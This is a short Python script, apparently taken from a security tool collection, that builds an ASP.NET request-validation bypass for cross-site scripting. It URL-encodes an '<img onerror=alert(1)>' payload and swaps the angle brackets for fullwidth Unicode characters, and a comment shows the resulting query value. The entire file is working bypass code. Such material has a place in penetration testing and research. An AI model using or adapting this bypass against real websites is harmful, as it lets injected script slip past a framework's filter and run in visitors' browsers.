aspnet-validate-xss-bypass.py

#!/usr/bin/env python3
# source: http://gosecure.net/2016/03/22/xss-for-asp-net-developers/

# Name=XSS_HERE_%EF%BC%9Cimg%20src%3Dxxx%20onerror%3Dalert(1)%EF%BC%9E

import urllib.parse

input_string = "<img src=xxx onerror=alert(1)>"
replacements = {"%3C": "%EF%BC%9C", "%3E": "%EF%BC%9E"}

encoded_string = urllib.parse.quote(input_string)

for key, val in replacements.items():
    encoded_string = encoded_string.replace(key, val)

print(encoded_string)